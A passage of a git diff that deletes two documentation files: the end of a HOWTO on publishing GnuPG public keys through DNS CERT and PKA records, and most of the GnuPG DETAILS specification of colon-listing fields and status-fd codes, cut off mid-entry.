Mahoney <danm@prime.gushi.org>" imported - gpg: public key of ultimately trusted key CF45887D not found - gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model - gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u - gpg: Total number processed: 1 - gpg: imported: 1 - gpg: automatically retrieved `danm@prime.gushi.org' via DNS CERT - gpg: DE20C529: There is no assurance this key belongs to the named user - pub 2048g/DE20C529 2000-10-02 Daniel P. Mahoney <danm@prime.gushi.org> - Primary key fingerprint: C206 3054 5492 95F3 3490 37FF FBBE 5A30 624B B249 - Subkey fingerprint: CE40 B786 81E2 5CB9 F7D3 1318 9488 EB58 DE20 C529 - It is NOT certain that the key belongs to the person named - in the user ID. If you *really* know what you are doing, - you may answer the next question with yes. - Use this key anyway? (y/N) y - -----BEGIN PGP MESSAGE----- - Version: GnuPG v1.4.10 (FreeBSD) - hQIOA5SI61jeIMUpEAgApZurJi3hZmDaUFjB2j93eX/lTl96xq6T//sz6nT6jcTx - IPnq1RN8IrIQPjDBByHdqOZBT5hhblr9xi7NKIIv3W4q4L0z0fJx7NERPZNvn/H0 - DkTwfDgAvCRxcKjenpLSwKZFwLjyfS7wjlDr3HFX7Tila0hbzplHslvgTE0QMcd7 - 7oNmEyOL3z+yZr/afQGp2wpzDv4YB9zOiNHcHcenqX0yrtiqKozZ9VAldi53rb/q - f38lwInbveyAcEQkE2iFwhRsbMR4VLcsBoxY6D9brsBprt23ey8Rnv+bQ9IAR0VN - /WYzU4zUUqb8HmpNFXQLEgH8A2BENw+bxkVYHjSfWQf/cBSGAzfBQQVJ7qp4tN0Z - FRVe51dokbU4NM9tGBdCzFHWARVkQX/Ulekd4F3sxBR/sum1UOT2xl2THVBz7/Pq - UCrTRPA0uH4dIbL5JpfGZhqsJ079+wmUWUtJIiO2wXi7ePEA/DrBC6p7jlmjyYN/ - AeSKcPoTeLX+zryV5bECx4RO6S56EEcy0Ns0pASGMsgUnKL6Adrv3Y6ea3ZAOQMn - H9Uo28BKTKNUvUaBpN8cV8jIbKYPPW9i04kvEQRqs5rdamERCY1vVTqYTrcLsNqz - fF3KopX+V82X1oE2QuGdFfd8mK57ZXJL3VRUrfohQjhfYNKzougiP46rQQv79MYT - j8kazWyJUuufm6NVco1/35Zdp1UhHu8qTgXxrjo= - =zY9G - -----END PGP MESSAGE----- - % - -Strangely, the output doesn't say what PKA does (a PKA retrieval has a line -about fetching via HTTP), however, by checking my webserver logs, I can see it -retrieved it from there: - - %tail -200 /usr/local/apache/logs/prime.gushi.org.log | grep pubkey | tail -1 - prime.gushi.org 72.9.101.130 - - [28/Oct/2009:23:50:43 -0400] "GET /danm.pubkey.txt HTTP/1.1" 200 4337 "-" "-" - % - -As usual, test decryption, etc. You're done. - -## Further Steps - -* Figure out which of these are useful to you, and use them.* When someone - asks for your public key, tell them to run the above command instead of - mailing them your key or sending them a keyserver URL. - -* Consider using the pka-related verify-options. - -* Look into embracing DNSSEC. With a signed root, there's a good trust-path - vector here. Who knows, maybe some day GPG will be dnssec-aware so it will - give more credit to a secure DNS transaction. Without a signed root, there - are still ways to have those who care about security use it, through - services such as [ISC's DLV registry](http://dlv.isc.org). - -* On DNSSEC: At present, GPG cannot see the difference between an insecure - response (one from an unsigned zone) and a correctly validated one from a - signed zone. (In a signed zone, an unsigned or malformed will simply get a - SERVFAIL dns response). Look into sponsoring development of GPG to make it - as an application more aware of this. - -## A better way to generate records - -In reading over a lot of these commands, I've come across a few problems with -the tools involved. They either require you to assemble large records by -hand, or manipulate huge files. - -DNS has also come a long way since these tools were written, and RFCs have -solidified that have determined the "presentation format" (i.e. the "master -file format") of what CERT records should look like. - -On top of everything, the make-dns-cert tool is not built by default, and is -not present in most binary distributions (RPM's, deb packages, FreeBSD's -ports). - -Thus, I took it upon myself to rewrite make-dns-cert as a shell script. - -### Advantages - -* Extracts your key for you (takes a keyid as the argument). -* Formats all three record types for you, you can pipe it right into your zone - file. -* Takes email address as an argument, generates record label. -* No compiling needed. -* Should work with most systems. Requires openssl and sed, a few other - standard utilities. -* Generates base64-ified CERT records, split into easy, manageable pieces. -* Generates DNS-friendly comments, so repeating tasks are easy to reference. -* (Eventually) available as a tarball, or as a paste-and-go script. -* Arguments are in logical DNS record order `emailaddress keyid [url]`. -* Will generate an IPGP CERT record without a URI (this is legal per RFC4398). - -You can see sample output -[here](http://www.gushi.org/make-dns-cert/sample-output.txt), and you can view -the script itself -[here](http://www.gushi.org/make-dns-cert/make-dns-cert.sh.txt). Depending on -your MIME settings, you can probably get a download link if you go -[here](http://www.gushi.org/make-dns-cert/make-dns-cert.sh). If you see the -script rather than getting a download prompt, you can just save-as. - -README, Changelog, TODO coming soon. - -## Other notes - -I'm not 100 percent sure (mainly because I haven't tried), but with IPGP cert, -and PKA, I believe I could in theory point at a keyserver directly, for -example, specify a uri of -[http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB0307039309C17C5](http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB0307039309C17C5). -I'm a bit dubious about the question marks and equals-signs, or if I might -have to uri-encode things. It's something to be tried. - -I'm trying to convince the GPG people that this would be much better adopted -if the make-dns-cert tool was built/included by default, or if its function -were included in gpg rather than a third-party tool. This is analagous as to -how dnssec-keygen is used to generate SSHFP DNS records. - -It doesn't do any actual cryptography, just some binary conversion, so in -theory it could be rewritten in pure-perl, so there's nothing to compile. - -I've made the argument to the GPG developers that if multiple CERT records are -available, all should be tried if one fails. So far, if multiple exist, only -the first received is parsed, and of course, DNS round-robins the answers by -default. - -It took me quite a lot of trial and error to realize that there's a difference -between "modern" RSA keys, like this: - - %gpg --list-keys --fingerprint gushi@prime.gushi.org - pub 2048R/CF45887D 2009-10-29 - Key fingerprint = FCB0 485E 050D DDFA 83C6 76E3 E722 3C05 CF45 887D - uid Gushi Test <gushi@prime.gushi.org> - sub 2048R/C9761244 2009-10-29 - -and ancient RSA keys like this pgp2.6.2 monster: - - %gpg --list-keys --fingerprint danm@prime.gushi.org - pub 1024R/309C17C5 1997-05-08 - Key fingerprint = 04 4B 1A 2E C4 62 95 73 73 A4 EA D0 08 A4 45 76 - uid Daniel P. Mahoney <danm@prime.gushi.org> - -Note the lack of a subkey there. Note the weird fingerprint. I have not been -able to get this key to properly export with gpg. If someone knows the Deep -Magic, let me know. - -## References - -### Blog posts and list threads - -While researching this I came across little more than a few blog posts, and a -few short discussions on the gpg-devel mailing list. - -* [A blog entry](http://www.df7cb.de/blog/2007/openpgp-dns.html) that seems to - have things mostly right. - -* [GPG Mailing List Discussion](http://lists.gnupg.org/pipermail/gnupg-users/2006-April/028314.html) - which seems to date towhen these features were first added. - -* [My own thread](http://www.mail-archive.com/gnupg-users@gnupg.org/msg12336.html) - on the gnupg-users mailing list that led upto this doc. - -* [A slideshow of a talk given on PKA](ftp://ftp.g10code.com/people/werner/talks/pka-intro.ps.gz) - (really the only doc I couldfind with regard to PKA). Note that this is a - postscript doc, for reasons I cannot fathom. - -### RFCs - -* [RFC 3597](http://www.faqs.org/rfcs/rfc3597.html) defines the odd format of - the records that make-dns-cert generates, if itconfuses you. - -* [RFC 2538](http://www.faqs.org/rfcs/rfc2538.html), which was superseded by - [RFC4398](http://www.faqs.org/rfcs/rfc4398.html), defines the format for a - CERT record. - -## Todo - -* At least one GPG enthusiast has suggested to me that any tools I write to - handle keys should simply be able to insert themusing nsupdate. I don't - disagree, but there's a complicated metric there as some of these require - manipulation of a site'smain zone, or at the very least, many subzones. In - doing this I'd also like to find out a bit about how to do nsupdate - withsig(0) and KEY records, which with the right policies would mean I could - do this without touching named.conf. That may be the subject of a whole - other howto. - -* (Done) I need to get the shell script cleaned up a bit more, and generate - proper docs, and start tracking it with version control. - -* I should probably get the gumption up to formally license all this stuff. - For right now, I declare it under the - [ISCLicense](http://en.wikipedia.org/wiki/ISC_license). - -* I'd like to track down the full list of supported URI types for PKA/IPGP - CERT records. There doesn't seem to be a defined standard for it. - -## Epilogue - -### About the author - -Dan Mahoney is a Systems Admin in the Bay Area, California. In his spare time -he enjoys thinking for those brief fleeting moments what he would do if he had -more free time. Keyid 624BB249, or email address danm@prime.gushi.org. - -### About this Document - -This document was written in [gnu nano](http://nano-editor.org), and HTML was -generated using [Markdown](http://daringfireball.net/projects/markdown). - -Markdown rocks. - -Originally published on my livejournal at -[http://gushi.livejournal.com/524199.html](http://gushi.livejournal.com/524199.html), -its main home is at -[http://www.gushi.org/make-dns-cert/HOWTO.html](http://www.gushi.org/make-dns-cert/HOWTO.html), -which is where later versions will be published. - -Free to use, comments to the above email address are welcome. diff --git a/docs/DETAILS b/docs/DETAILS deleted file mode 100644 index d5c5cea..0000000 --- a/docs/DETAILS +++ /dev/null @@ -1,1225 +0,0 @@ -# doc/DETAILS -*- org -*- -#+TITLE: GnuPG Details -# Globally disable superscripts and subscripts: -#+OPTIONS: ^:{} -# - -# Note: This file uses org-mode; it should be easy to read as plain -# text but be aware of some markup peculiarities: Verbatim code is -# enclosed in #+begin-example, #+end-example blocks or marked by a -# colon as the first non-white-space character, words bracketed with -# equal signs indicate a monospace font, and the usual /italics/, -# *bold*, and _underline_ conventions are recognized. - -This is the DETAILS file for GnuPG which specifies some internals and -parts of the external API for GPG and GPGSM. - -* Format of the colon listings - The format is a based on colon separated record, each recods starts - with a tag string and extends to the end of the line. Here is an - example: -#+begin_example -$ gpg --with-colons --list-keys \ - --with-fingerprint --with-fingerprint wk@gnupg.org -pub:f:1024:17:6C7EE1B8621CC013:899817715:1055898235::m:::scESC: -fpr:::::::::ECAF7590EB3443B5C7CF3ACB6C7EE1B8621CC013: -uid:f::::::::Werner Koch <wk@g10code.com>: -uid:f::::::::Werner Koch <wk@gnupg.org>: -sub:f:1536:16:06AD222CADF6A6E1:919537416:1036177416:::::e: -fpr:::::::::CF8BCC4B18DE08FCD8A1615906AD222CADF6A6E1: -sub:r:1536:20:5CE086B5B5A18FF4:899817788:1025961788:::::esc: -fpr:::::::::AB059359A3B81F410FCFF97F5CE086B5B5A18FF4: -#+end_example - -The double =--with-fingerprint= prints the fingerprint for the subkeys -too. Old versions of gpg used a lighly different format and required -the use of the option =--fixed-list-mode= to conform to format -described here. - -** Description of the fields -*** Field 1 - Type of record - - - pub :: Public key - - crt :: X.509 certificate - - crs :: X.509 certificate and private key available - - sub :: Subkey (secondary key) - - sec :: Secret key - - ssb :: Secret subkey (secondary key) - - uid :: User id (only field 10 is used). - - uat :: User attribute (same as user id except for field 10). - - sig :: Signature - - rev :: Revocation signature - - fpr :: Fingerprint (fingerprint is in field 10) - - pkd :: Public key data [*] - - grp :: Keygrip - - rvk :: Revocation key - - tru :: Trust database information [*] - - spk :: Signature subpacket [*] - - cfg :: Configuration data [*] - - Records marked with an asterisk are described at [[*Special%20field%20formats][*Special fields]]. - -*** Field 2 - Validity - - This is a letter describing the computed validity of a key. - Currently this is a single letter, but be prepared that additional - information may follow in some future versions. Note that GnuPG < - 2.1 does not set this field for secret key listings. - - - o :: Unknown (this key is new to the system) - - i :: The key is invalid (e.g. due to a missing self-signature) - - d :: The key has been disabled - (deprecated - use the 'D' in field 12 instead) - - r :: The key has been revoked - - e :: The key has expired - - - :: Unknown validity (i.e. no value assigned) - - q :: Undefined validity. '-' and 'q' may safely be treated as - the same value for most purposes - - n :: The key is not valid - - m :: The key is marginal valid. - - f :: The key is fully valid - - u :: The key is ultimately valid. This often means that the - secret key is available, but any key may be marked as - ultimately valid. - - w :: The key has a well known private part. - - s :: The key has special validity. This means that it might be - self-signed and expected to be used in the STEED sytem. - - If the validity information is given for a UID or UAT record, it - describes the validity calculated based on this user ID. If given - for a key record it describes the validity taken from the best - rated user ID. - - For X.509 certificates a 'u' is used for a trusted root - certificate (i.e. for the trust anchor) and an 'f' for all other - valid certificates. - -*** Field 3 - Key length - - The length of key in bits. - -*** Field 4 - Public key algorithm - - The values here are those from the OpenPGP specs or if they are - greather than 255 the algorithm ids as used by Libgcrypt. - -*** Field 5 - KeyID - - This is the 64 bit keyid as specified by OpenPGP and the last 64 - bit of the SHA-1 fingerprint of an X.509 certifciate. - -*** Field 6 - Creation date - - The creation date of the key is given in UTC. For UID and UAT - records, this is used for the self-signature date. Note that the - date is usally printed in seconds since epoch, however, we are - migrating to an ISO 8601 format (e.g. "19660205T091500"). This is - currently only relevant for X.509. A simple way to detect the new - format is to scan for the 'T'. Note that old versions of gpg - without using the =--fixed-list-mode= option used a "yyyy-mm-tt" - format. - -*** Field 7 - Expiration date - - Key or UID/UAT expiration date or empty if it does not expire. - -*** Field 8 - Certificate S/N, UID hash, trust signature info - - Used for serial number in crt records. For UID and UAT records, - this is a hash of the user ID contents used to represent that - exact user ID. For trust signatures, this is the trust depth - seperated by the trust value by a space. - -*** Field 9 - Ownertrust - - This is only used on primary keys. This is a single letter, but - be prepared that additional information may follow in future - versions. For trust signatures with a regular expression, this is - the regular expression value, quoted as in field 10. - -*** Field 10 - User-ID - The value is quoted like a C string to avoid control characters - (the colon is quoted =\x3a=). For a "pub" record this field is - not used on --fixed-list-mode. A UAT record puts the attribute - subpacket count here, a space, and then the total attribute - subpacket size. In gpgsm the issuer name comes here. A FPR - record stores the fingerprint here. The fingerprint of a - revocation key is stored here. -*** Field 11 - Signature class - - Signature class as per RFC-4880. This is a 2 digit hexnumber - followed by either the letter 'x' for an exportable signature or - the letter 'l' for a local-only signature. The class byte of an - revocation key is also given here, 'x' and 'l' is used the same - way. This field if not used for X.509. - -*** Field 12 - Key capabilities - - The defined capabilities are: - - - e :: Encrypt - - s :: Sign - - c :: Certify - - a :: Authentication - - ? :: Unknown capability - - A key may have any combination of them in any order. In addition - to these letters, the primary key has uppercase versions of the - letters to denote the _usable_ capabilities of the entire key, and - a potential letter 'D' to indicate a disabled key. - -*** Field 13 - Issuer certificate fingerprint or other info - - Used in FPR records for S/MIME keys to store the fingerprint of - the issuer certificate. This is useful to build the certificate - path based on certificates stored in the local key database it is - only filled if the issuer certificate is available. The root has - been reached if this is the same string as the fingerprint. The - advantage of using this value is that it is guaranteed to have - been been build by the same lookup algorithm as gpgsm uses. - - For "uid" records this field lists the preferences in the same way - gpg's --edit-key menu does. - - For "sig" records, this is the fingerprint of the key that issued - the signature. Note that this is only filled in if the signature - verified correctly. Note also that for various technical reasons, - this fingerprint is only available if --no-sig-cache is used. - -*** Field 14 - Flag field - - Flag field used in the --edit menu output - -*** Field 15 - S/N of a token - - Used in sec/sbb to print the serial number of a token (internal - protect mode 1002) or a '#' if that key is a simple stub (internal - protect mode 1001) - -*** Field 16 - Hash algorithm - - For sig records, this is the used hash algorithm. For example: - 2 = SHA-1, 8 = SHA-256. - -** Special fields - -*** PKD - Public key data - - If field 1 has the tag "pkd", a listing looks like this: -#+begin_example -pkd:0:1024:B665B1435F4C2 .... FF26ABB: - ! ! !-- the value - ! !------ for information number of bits in the value - !--------- index (eg. DSA goes from 0 to 3: p,q,g,y) -#+end_example - -*** TRU - Trust database information - Example for a "tru" trust base record: -#+begin_example - tru:o:0:1166697654:1:3:1:5 -#+end_example - - - Field 2 :: Reason for staleness of trust. If this field is - empty, then the trustdb is not stale. This field may - have multiple flags in it: - - - o :: Trustdb is old - - t :: Trustdb was built with a different trust model - than the one we are using now. - - - Field 3 :: Trust model - - - 0 :: Classic trust model, as used in PGP 2.x. - - 1 :: PGP trust model, as used in PGP 6 and later. - This is the same as the classic trust model, - except for the addition of trust signatures. - - GnuPG before version 1.4 used the classic trust model - by default. GnuPG 1.4 and later uses the PGP trust - model by default. - - - Field 4 :: Date trustdb was created in seconds since Epoch. - - Field 5 :: Date trustdb will expire in seconds since Epoch. - - Field 6 :: Number of marginally trusted users to introduce a new - key signer (gpg's option --marginals-needed). - - Field 7 :: Number of completely trusted users to introduce a new - key signer. (gpg's option --completes-needed) - - - Field 8 :: Maximum depth of a certification chain. (gpg's option - --max-cert-depth) - -*** SPK - Signature subpacket records - - - Field 2 :: Subpacket number as per RFC-4880 and later. - - Field 3 :: Flags in hex. Currently the only two bits assigned - are 1, to indicate that the subpacket came from the - hashed part of the signature, and 2, to indicate the - subpacket was marked critical. - - Field 4 :: Length of the subpacket. Note that this is the - length of the subpacket, and not the length of field - 5 below. Due to the need for %-encoding, the length - of field 5 may be up to 3x this value. - - Field 5 :: The subpacket data. Printable ASCII is shown as - ASCII, but other values are rendered as %XX where XX - is the hex value for the byte. - -*** CFG - Configuration data - - --list-config outputs information about the GnuPG configuration - for the benefit of frontends or other programs that call GnuPG. - There are several list-config items, all colon delimited like the - rest of the --with-colons output. The first field is always "cfg" - to indicate configuration information. The second field is one of - (with examples): - - - version :: The third field contains the version of GnuPG. - - : cfg:version:1.3.5 - - - pubkey :: The third field contains the public key algorithms - this version of GnuPG supports, separated by - semicolons. The algorithm numbers are as specified in - RFC-4880. Note that in contrast to the --status-fd - interface these are _not_ the Libgcrypt identifiers. - - : cfg:pubkey:1;2;3;16;17 - - - cipher :: The third field contains the symmetric ciphers this - version of GnuPG supports, separated by semicolons. - The cipher numbers are as specified in RFC-4880. - - : cfg:cipher:2;3;4;7;8;9;10 - - - digest :: The third field contains the digest (hash) algorithms - this version of GnuPG supports, separated by - semicolons. The digest numbers are as specified in - RFC-4880. - - : cfg:digest:1;2;3;8;9;10 - - - compress :: The third field contains the compression algorithms - this version of GnuPG supports, separated by - semicolons. The algorithm numbers are as specified - in RFC-4880. - - : cfg:compress:0;1;2;3 - - - group :: The third field contains the name of the group, and the - fourth field contains the values that the group expands - to, separated by semicolons. - - For example, a group of: - : group mynames = paige 0x12345678 joe patti - would result in: - : cfg:group:mynames:patti;joe;0x12345678;paige - - -* Format of the --status-fd output - - Every line is prefixed with "[GNUPG:] ", followed by a keyword with - the type of the status line and some arguments depending on the type - (maybe none); an application should always be prepared to see more - arguments in future versions. - -** General status codes -*** NEWSIG - May be issued right before a signature verification starts. This - is useful to define a context for parsing ERROR status messages. - No arguments are currently defined. - -*** GOODSIG <long_keyid_or_fpr> <username> - The signature with the keyid is good. For each signature only one - of the codes GOODSIG, BADSIG, EXPSIG, EXPKEYSIG, REVKEYSIG or - ERRSIG will be emitted. In the past they were used as a marker - for a new signature; new code should use the NEWSIG status - instead. The username is the primary one encoded in UTF-8 and %XX - escaped. The fingerprint may be used instead of the long keyid if - it is available. This is the case with CMS and might eventually - also be available for OpenPGP. - -*** EXPSIG <long_keyid_or_fpr> <username> - The signature with the keyid is good, but the signature is - expired. The username is the primary one encoded in UTF-8 and %XX - escaped. The fingerprint may be used instead of the long keyid if - it is available. This is the case with CMS and might eventually - also be available for OpenPGP. - -*** EXPKEYSIG <long_keyid_or_fpr> <username> - The signature with the keyid is good, but the signature was made - by an expired key. The username is the primary one encoded in - UTF-8 and %XX escaped. The fingerprint may be used instead of the - long keyid if it is available. This is the case with CMS and - might eventually also be available for OpenPGP. - -*** REVKEYSIG <long_keyid_or_fpr> <username> - The signature with the keyid is good, but the signature was made - by a revoked key. The username is the primary one encoded in UTF-8 - and %XX escaped. The fingerprint may be used instead of the long - keyid if it is available. This is the case with CMS and might - eventually also beñ available for OpenPGP. - -*** BADSIG <long_keyid_or_fpr> <username> - The signature with the keyid has not been verified okay. The - username is the primary one encoded in UTF-8 and %XX escaped. The - fingerprint may be used instead of the long keyid if it is - available. This is the case with CMS and might eventually also be - available for OpenPGP. - -*** ERRSIG <keyid> <pkalgo> <hashalgo> <sig_class> <time> <rc> - It was not possible to check the signature. This may be caused by - a missing public key or an unsupported algorithm. A RC of 4 - indicates unknown algorithm, a 9 indicates a missing public - key. The other fields give more information about this signature. - sig_class is a 2 byte hex-value. The fingerprint may be used - instead of the keyid if it is available. This is the case with - gpgsm and might eventually also be available for OpenPGP. - - Note, that TIME may either be the number of seconds since Epoch or - the letter 'T'. - an ISO 8601 string. The latter can be detected by the presence of - -*** VALIDSIG <args> - - The args are: - - - <fingerprint_in_hex> - - <sig_creation_date> - - <sig-timestamp> - - <expire-timestamp> - - <sig-version> - - <reserved> - - <pubkey-algo> - - <hash-algo> - - <sig-class> - - [ <primary-key-fpr> ] - - This status indicates that the signature is good. This is the same - as GOODSIG but has the fingerprint as the argument. Both status - lines are emitted for a good signature. All arguments here are on - one long line. sig-timestamp is the signature creation time in - seconds after the epoch. expire-timestamp is the signature - expiration time in seconds after the epoch (zero means "does not - expire"). sig-version, pubkey-algo, hash-algo, and sig-class (a - 2-byte hex value) are all straight from the signature packet. - PRIMARY-KEY-FPR is the fingerprint of the primary key or identical - to the first argument. This is useful to get back to the primary - key without running gpg again for this purpose. - - The primary-key-fpr parameter is used for OpenPGP and not - class is not defined for CMS and currently set to 0 and 00. - available for CMS signatures. The sig-version as well as the sig - - Note, that *-TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. - -*** SIG_ID <radix64_string> <sig_creation_date> <sig-timestamp> - This is emitted only for signatures of class 0 or 1 which have - been verified okay. The string is a signature id and may be used - in applications to detect replay attacks of signed messages. Note - that only DLP algorithms give unique ids - others may yield - duplicated ones when they have been created in the same second. - - Note, that SIG-TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. - -*** ENC_TO <long_keyid> <keytype> <keylength> - The message is encrypted to this LONG_KEYID. KEYTYPE is the - numerical value of the public key algorithm or 0 if it is not - known, KEYLENGTH is the length of the key or 0 if it is not known - (which is currently always the case). Gpg prints this line - always; Gpgsm only if it knows the certificate. - -*** BEGIN_DECRYPTION - Mark the start of the actual decryption process. This is also - emitted when in --list-only mode. -*** END_DECRYPTION - Mark the end of the actual decryption process. This are also - emitted when in --list-only mode. -*** DECRYPTION_INFO <mdc_method> <sym_algo> - Print information about the symmetric encryption algorithm and the - MDC method. This will be emitted even if the decryption fails. - -*** DECRYPTION_FAILED - The symmetric decryption failed - one reason could be a wrong - passphrase for a symmetrical encrypted message. - -*** DECRYPTION_OKAY - The decryption process succeeded. This means, that either the - correct secret key has been used or the correct passphrase for a - conventional encrypted message was given. The program itself may - return an errorcode because it may not be possible to verify a - signature for some reasons. - -*** SESSION_KEY <algo>:<hexdigits> - The session key used to decrypt the message. This message will - only be emitted when the special option --show-session-key is - used. The format is suitable to be passed to the option - --override-session-key - -*** BEGIN_ENCRYPTION <mdc_method> <sym_algo> - Mark the start of the actual encryption process. - -*** END_ENCRYPTION - Mark the end of the actual encryption process. - -*** FILE_START <what> <filename> - Start processing a file <filename>. <what> indicates the performed - operation: - - 1 :: verify - - 2 :: encrypt - - 3 :: decrypt - -*** FILE_DONE - Marks the end of a file processing which has been started - by FILE_START. - -*** BEGIN_SIGNING - Mark the start of the actual signing process. This may be used as - an indication that all requested secret keys are ready for use. - -*** ALREADY_SIGNED <long-keyid> - Warning: This is experimental and might be removed at any time. - -*** SIG_CREATED <type> <pk_algo> <hash_algo> <class> <timestamp> <keyfpr> - A signature has been created using these parameters. - Values for type <type> are: - - D :: detached - - C :: cleartext - - S :: standard - (only the first character should be checked) - - <class> are 2 hex digits with the OpenPGP signature class. - - Note, that TIMESTAMP may either be a number of seconds since Epoch - or an ISO 8601 string which can be detected by the presence of the - letter 'T'. - -*** NOTATION_ - There are actually two related status codes to convey notation - data: - - - NOTATION_NAME <name> - - NOTATION_DATA <string> - - <name> and <string> are %XX escaped; the data may be split among - several NOTATION_DATA lines. - -*** POLICY_URL <string> - Note that URL in <string> is %XX escaped. - -*** PLAINTEXT <format> <timestamp> <filename> - This indicates the format of the plaintext that is about to be - written. The format is a 1 byte hex code that shows the format of - the plaintext: 62 ('b') is binary data, 74 ('t') is text data with - no character set specified, and 75 ('u') is text data encoded in - the UTF-8 character set. The timestamp is in seconds since the - epoch. If a filename is available it gets printed as the third - argument, percent-escaped as usual. - -*** PLAINTEXT_LENGTH <length> - This indicates the length of the plaintext that is about to be - written. Note that if the plaintext packet has partial length - encoding it is not possible to know the length ahead of time. In - that case, this status tag does not appear. - -*** ATTRIBUTE <arguments> - The list or argemnts are: - - <fpr> - - <octets> - - <type> - - <index> - - <count> - - <timestamp> - - <expiredate> - - <flags> - - This is one long line issued for each attribute subpacket when an - attribute packet is seen during key listing. <fpr> is the - fingerprint of the key. <octets> is the length of the attribute - subpacket. <type> is the attribute type (e.g. 1 for an image). - <index> and <count> indicate that this is the N-th indexed - subpacket of count total subpackets in this attribute packet. - <timestamp> and <expiredate> are from the self-signature on the - attribute packet. If the attribute packet does not have a valid - self-signature, then the timestamp is 0. <flags> are a bitwise OR - of: - - 0x01 :: this attribute packet is a primary uid - - 0x02 :: this attribute packet is revoked - - 0x04 :: this attribute packet is expired - -*** SIG_SUBPACKET <type> <flags> <len> <data> - This indicates that a signature subpacket was seen. The format is - the same as the "spk" record above. - -** Key related -*** INV_RECP, INV_SGNR - The two similar status codes: - - - INV_RECP <reason> <requested_recipient> - - INV_SGNR <reason> <requested_sender> - - are issued for each unusable recipient/sender. The reasons codes - currently in use are: - - - 0 :: No specific reason given - - 1 :: Not Found - - 2 :: Ambigious specification - - 3 :: Wrong key usage - - 4 :: Key revoked - - 5 :: Key expired - - 6 :: No CRL known - - 7 :: CRL too old - - 8 :: Policy mismatch - - 9 :: Not a secret key - - 10 :: Key not trusted - - 11 :: Missing certificate - - 12 :: Missing issuer certificate - - Note that for historical reasons the INV_RECP status is also used - for gpgsm's SIGNER command where it relates to signer's of course. - Newer GnuPG versions are using INV_SGNR; applications should - ignore the INV_RECP during the sender's command processing once - they have seen an INV_SGNR. Different codes are used so that they - can be distinguish while doing an encrypt+sign operation. -*** NO_RECP <reserved> - Issued if no recipients are usable. - -*** NO_SGNR <reserved> - Issued if no senders are usable. - -*** KEYEXPIRED <expire-timestamp> - The key has expired. expire-timestamp is the expiration time in - seconds since Epoch. This status line is not very useful because - it will also be emitted for expired subkeys even if this subkey is - not used. To check whether a key used to sign a message has - expired, the EXPKEYSIG status line is to be used. - - Note, that the TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. - -*** KEYREVOKED - The used key has been revoked by its owner. No arguments yet. - -*** NO_PUBKEY <long keyid> - The public key is not available - -*** NO_SECKEY <long keyid> - The secret key is not available - -*** KEY_CREATED <type> <fingerprint> [<handle>] - A key has been created. Values for <type> are: - - B :: primary and subkey - - P :: primary - - S :: subkey - The fingerprint is one of the primary key for type B and P and the - one of the subkey for S. Handle is an arbitrary non-whitespace - string used to match key parameters from batch key creation run. - -*** KEY_NOT_CREATED [<handle>] - The key from batch run has not been created due to errors. - -*** TRUST_ - These are several similar status codes: - - - TRUST_UNDEFINED <error_token> - - TRUST_NEVER <error_token> - - TRUST_MARGINAL [0 [<validation_model>]] - - TRUST_FULLY [0 [<validation_model>]] - - TRUST_ULTIMATE [0 [<validation_model>]] - - For good signatures one of these status lines are emitted to - indicate the validity of the key used to create the signature. - The error token values are currently only emitted by gpgsm. - - VALIDATION_MODEL describes the algorithm used to check the - validity of the key. The defaults are the standard Web of Trust - model for gpg and the the standard X.509 model for gpgsm. The - defined values are - - - pgp :: The standard PGP WoT. - - shell :: The standard X.509 model. - - chain :: The chain model. - - steed :: The STEED model. - - Note that the term =TRUST_= in the status names is used for - historic reasons; we now speak of validity. - -*** PKA_TRUST_ - This is is one: - - - PKA_TRUST_GOOD <mailbox> - - PKA_TRUST_BAD <mailbox> - - Depending on the outcome of the PKA check one of the above status - codes is emitted in addition to a =TRUST_*= status. - -** Remote control -*** GET_BOOL, GET_LINE, GET_HIDDEN, GOT_IT - - These status line are used with --command-fd for interactive - control of the process. - -*** USERID_HINT <long main keyid> <string> - Give a hint about the user ID for a certain keyID. - -*** NEED_PASSPHRASE <long keyid> <long main keyid> <keytype> <keylength> - Issued whenever a passphrase is needed. KEYTYPE is the numerical - value of the public key algorithm or 0 if this is not applicable, - KEYLENGTH is the length of the key or 0 if it is not known (this - is currently always the case). - -*** NEED_PASSPHRASE_SYM <cipher_algo> <s2k_mode> <s2k_hash> - Issued whenever a passphrase for symmetric encryption is needed. - -*** NEED_PASSPHRASE_PIN <card_type> <chvno> [<serialno>] - Issued whenever a PIN is requested to unlock a card. - -*** MISSING_PASSPHRASE - No passphrase was supplied. An application which encounters this - message may want to stop parsing immediately because the next - message will probably be a BAD_PASSPHRASE. However, if the - application is a wrapper around the key edit menu functionality it - might not make sense to stop parsing but simply ignoring the - following BAD_PASSPHRASE. - -*** BAD_PASSPHRASE <long keyid> - The supplied passphrase was wrong or not given. In the latter - case you may have seen a MISSING_PASSPHRASE. - -*** GOOD_PASSPHRASE - The supplied passphrase was good and the secret key material - is therefore usable. - -** Import/Export -*** IMPORT_CHECK <long keyid> <fingerprint> <user ID> - This status is emitted in interactive mode right before - the "import.okay" prompt. - -*** IMPORTED <long keyid> <username> - The keyid and name of the signature just imported - -*** IMPORT_OK <reason> [<fingerprint>] - The key with the primary key's FINGERPRINT has been imported. - REASON flags are: - - - 0 :: Not actually changed - - 1 :: Entirely new key. - - 2 :: New user IDs - - 4 :: New signatures - - 8 :: New subkeys - - 16 :: Contains private key. - - The flags may be ORed. - -*** IMPORT_PROBLEM <reason> [<fingerprint>] - Issued for each import failure. Reason codes are: - - - 0 :: No specific reason given. - - 1 :: Invalid Certificate. - - 2 :: Issuer Certificate missing. - - 3 :: Certificate Chain too long. - - 4 :: Error storing certificate. - -*** IMPORT_RES <args> - Final statistics on import process (this is one long line). The - args are a list of unsigned numbers separated by white space: - - - <count> - - <no_user_id> - - <imported> - - <imported_rsa> - - <unchanged> - - <n_uids> - - <n_subk> - - <n_sigs> - - <n_revoc> - - <sec_read> - - <sec_imported> - - <sec_dups> - - <skipped_new_keys> - - <not_imported> - -** Smartcard related -*** CARDCTRL <what> [<serialno>] - This is used to control smartcard operations. Defined values for - WHAT are: - - - 1 :: Request insertion of a 